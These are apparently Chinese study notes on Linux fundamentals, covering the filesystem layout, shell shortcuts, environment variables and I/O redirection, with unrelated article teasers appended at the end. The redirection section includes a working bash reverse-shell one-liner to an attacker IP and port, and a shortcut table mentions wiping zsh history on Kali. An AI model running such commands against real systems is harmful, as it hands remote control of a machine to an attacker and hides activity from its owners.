章节4 Linux操作系统基础知识

article/2023/12/3 2:45:19

4.1-Linux系统结构

Linux系统结构

  1. 内核
  2. Shell
  3. 文件系统
  4. 应用程序

在这里插入图片描述

Linux操作系统内核

  1. 管理进程
  2. 管理内存
  3. 管理驱动
  4. 管理文件和网络

Linux Shell

接收用户的命令,经过转换,交给内核去执行

cat —> open() read()

  1. 简化操作
  2. 安全

Linux Shell工具(了解)

在这里插入图片描述

在这里插入图片描述

名称程序路径作者
bourne Shell/usr/bin/sh或/bin/shStephen Bourne
C Shell/usr/bin/cshBill Joy
K Shell/usr/bin/kshDavid Korn
Bourne Again Shell/bin/bashBrian Fox
Z Shell/bin/zsh或/usr/bin/zshPaul Falstad

Windows: cmd、Power Shell

Shell和Terminal

在这里插入图片描述

Shell编程/Shell脚本(.sh)

在这里插入图片描述

Linux文件系统

“一切皆文件”

普通文件、目录、进程(/proc)、输入输出设备(/dev)、网络字节流socket、链接文件、管道文件

查看文件作用
lsof /bin/bash查看某个文件相关的进程
lsof -u root列出某个用户打开的文件信息
lsof -c redis列出某个程序进程所打开的文件信息
lsof -i tcp列出所有tcp网络连接信息

Linux目录

(颜色无需记忆)

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

根目录文件-1

(理解,无需记忆)

目录作用备注
bin存放普通用户可执行的指令即使在单用户模式下也能够执行处理
boot开机引导目录包括Linux内核文件与开机所需要的所需要的文件
dev设备目录所有的硬件设备及周边均放置在这个设备目录中,比如声卡、磁盘
etc各种配置文件目录大部分配置属性均存放在这里
lib库文件存放地,bin和sbin需要的库文件类似windows的DDL
media可移除设备挂载目录类似U盘、光盘、移动硬盘等临时挂放目录

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

根目录文件-2

目录作用备注
mnt用户临时挂载其他的文件系统额外的设备可挂载在这里,相对临时而言
opt第三方软件安装目录现在习惯地放置在/usr/local中
proc虚拟文件系统通常是内存中的映射,特别注意在误删数据文件后,比如DB,只要系统不重启,还是有很大几率能将数据找回来**(了解)**
root系统管理员目录除root之外,其他用户均放置在/home目录下
run系统运行时所需文件以前放置在/var/run中,后来拆分成独立的run目录。重启后生成对应的目录数据

在这里插入图片描述

根目录文件-3

目录作用备注
sbin只有root才能运行的管理命令跟bin类似,但只属于root管理员
srv服务启动后需要访问的数据目录
sys跟proc一样,虚拟文件系统记录核心系统硬件信息
tmp存放临时文件目录所有用户对该目录均可读写
usr应用程序放置目录
var存放系统执行过程经常改变的文件

用户主目录

主目录:home directory

root用户的主目录是 /root

其他用户的主目录是 /home/用户名

cd 空格 或者 cd ~

工作目录:working directory

目录指代

符号指代
绝对路径由根目录 / 开始写起
相对路径从当前所在的工作目录开始写起
/根目录
.代表当前目录
~代表用户工作目录,vim ~/.bashrc
…/代表上一级目录
…/…/上上一级目录,以此类推,超出范围的时候代表根目录

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

4.2-Linux常用操作

命令帮助

man command(manual)——具体参数和使用方法**(用的最多)**

whatis command——命令的简要说明**(了解)**

info command——详细介绍**(了解)**

help command——Linux内置命令**(了解)**

关机重启(root用户)

关机:

poweroff

shutdown -h now

halt -p

重启:

reboot

快捷键和命令-1

操作作用
Tab键补全命令和目录(自动提示)
方向键上一条命令:↑;下一条命令↓
Ctrl + r搜索历史命令,回车执行
!cd:重复执行最近一次,以cd开头的历史命令
Ctrl + Insert(不是所有电脑都用得了,本人就用不了)复制
Shift + Insert(不是所有电脑都用得了,本人就用不了)粘贴
Alt + Insert(不是所有电脑都用得了,本人就用不了)复制并粘贴

快捷键和命令-2

操作作用
Ctrl + E光标移动到行尾
Ctrl + A光标移动到行首
Ctrl + K清楚光标后至行尾
Ctrl + U清楚光标前至行首间的所有内容
clear清屏,但是命令都还在
history查看历史命令
history -c清楚历史命令 kali: echo > ~/.zsh_history

别名设置

查看别名:alias

设置别名(以bash为例):vim ~/.bashrc

格式:alias short=‘xxx;xxx’

生效:source ~/.bashrc

通配符

符号指代
*任意字符
?单个字符
[]可以查询到与括号内匹配的结果,比如[0-9] [a-z]
{}可以查询到与括号内文件类型匹配的所有文件结果 ll {*.log, *.txt}
^取反 ll *{^txt} 查找不是.txt结尾的文件

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

系统环境变量

查看全部变量:env

查看单个变量:echo $XXX

用户变量:~/.bashrc

系统变量:/etc/profile

在这里插入图片描述

案例:设置JDK环境变量

vim /etc/profileexport JAVA_HOME=/usr/local/soft/java/jdk1.8.0_74
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jarsource /etc/profile

4.3-文件描述符和重定向

文件描述符 File Descriptor

ID描述设备
0标准输入(stdin)键盘
1标准输出(stdout)显示器
2标准错误输出(stderr)显示器

重定向

符号类别
>和>>输出重定向
&>表示将一个流(stream)重定向到另一个文件描述符(file descriptor)
<和<<输入重定向

重定向:改变输入输出的方向

输出重定向

在这里插入图片描述

>:覆盖

>>:追加

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

输入重定向

命令格式示例
command < file将file文件中的内容作为command的输入(省略了0)
command < END从标准输入(键盘)中读取数据,直到遇见分界符才停止
command < file1> file2将file1作为command的输入,并将command的处理结果输出到file2
wc -l < test.txt统计test.txt文件中有多少行文本
wc -l << END统计用户在终端输入的文本的行数

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

Shift+ G

在这里插入图片描述

q:退出

在这里插入图片描述

在这里插入图片描述

bash反弹连接案例

(不需要理解什么是反弹连接,为什么它可以获得一个控制别人的窗口)

bash -i >& /dev/tcp/192.168.142.44/7777 0>&1

bash -i 在靶机打开交互式的Shell

/dev/tcp/192.168.142.44/7777 连接到攻击机IP端口

>&和&>等价,代表标准输出1 + 错误输出2;把靶机的输出重定向到攻击机**——接收结果用。**

0>&1,左边是标准输入。右边是标准输出输出重定向。把靶机的输入重定向为攻击机的输出**——接收命令用。**

所以,靶机的输入输出都到了攻击机上。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述


http://www.ngui.cc/article/show-701464.html

相关文章

业务增长遇到瓶颈?这些用大数据驱动业务增长的方法你一定要看看

目录 前言 一、海量数据处理方案 1.1 大数据存储 1.1.1 传统数据存储 1.1.2 云大数据仓库 1.2 数据BI快速展示 1.2.1大数据BI产业链结构分析 1.2.2 华为一站式大数据BI方案 前言 随着大数据与云原生的快速发展融汇交互&#xff0c;各技术领域又将来临新一波迅雷之势的挑…

java迷宫寻找最短路径

利用广度优先遍历算法的特点&#xff0c;由于迷宫每次只能走一格&#xff0c;所以对于任意一个节点&#xff0c;bfs第一次到达该点时一定是最短路径 直接上代码&#xff1a; package com.common.utils;import java.util.ArrayDeque; import java.util.Deque; import java.uti…

Linux - 使用objcopy命令修改符号的作用域避免同名符号冲突

$ objcopy --localize-symbolSYMBOL_NAME input.o output.o $ objcopy --globalize-symbolSYMBOL_NAME input.o output.o 可以加等号&#xff0c;也可以不加等号&#xff1a; objcopy --localize-symbol SYMBOL_NAME input.o output.o objcopy --globalize-symbol SYMBOL_NA…

2022亚太杯建模B题思路 : 高速列车的优化设计 小美赛数学建模 B题思路

1 B题&#xff1a;高速列车的优化设计 2022年4月12日&#xff0c;中国高铁复兴CR450多机组成功实现单列列车速度435 km/h&#xff0c;相对速度870 km/h&#xff0c;创造了高铁多机组列车穿越明线和隧道速度的世界纪录。新一代标准动车组“复兴”是中国自主研发的具有全知识产权…

变压器励磁电感以及漏感

1 励磁电感(magnetic inductance):脉冲变压器的初级电感 仅在变压器中才出现的名词,也就是一个等效电感值,事实上这个电感是变压器的初级侧电感,作用在其上的电流不会传导到次级,它的作用是拿来对铁芯产生激磁作用,使铁芯内的铁磁分子可以用来导磁,就好比铁芯是磁中性,绕上…

敏杰100 100

全部 答对 答错 敏捷综合训练4 1. [单选] “开发人员刚刚完成了产品增量的构建&#xff0c;明天将在演示中向 Sara 展示。Sara 可能接受增量或要求对其进行更改。Sara 在该项目中最有可能扮演什么角色&#xff1f;” The developers have just finished building a product i…

Redis进阶(主从复制、Redis集群、缓存穿透、缓存击穿、缓存雪崩)

目录 1、主从复制&#xff08;读写分离&#xff09; 1.1、什么是主从复制 1.2、主从复制的作用 1.3、环境搭建 1.4、一主二仆 1.5、注意事项 1.6、反客为主 1.7、哨兵模式&#xff08;sentinel&#xff09; 2、Redis集群 2.1、什么是集群 2.2、什么是redis集群 2.3…

UE4贴图自适应屏幕大小

游戏开发中&#xff0c;不同屏幕下的分辨率不同&#xff0c;模型/物品被拉伸之后贴图也会随之拉伸。 如果需要在不同屏幕下面实现贴图真实大小不变&#xff08;以下简称为自适应&#xff09;&#xff0c;需要对UV进行缩放处理之后再取得对应贴图的颜色。 本文提供一种能够实现不…

【Unity】TimeLine系列教程——编排剧情!

前言 我们经常会看到游戏中有很多“花里胡哨”的系统&#xff0c;比如这样&#xff1a; 火影忍着疾风传 碧之轨迹S技能 这种效果感觉上像播放视频一样&#xff0c;但是却能将游戏不同的敌人加到镜头里面&#xff0c;有时候甚至根据双方关系还会有不同的反馈。如果是做视频或…

【Python百日进阶-WEB开发-冲進Flask】Day182 - Flask蓝图与模板继承

文章目录一、day02项目环境和结构搭建1.1 项目根目录创建apps包1.2 项目模板目录templates创建user子目录二、后端知识要点2.1 蓝图Blueprint基础知识2.1.1 为什么需要蓝图2.1.2 什么是蓝图2.1.3 蓝图的属性2.1.4 蓝图使用的步骤2.1.4.1 创建一个蓝图的包,例如user,并在view.py…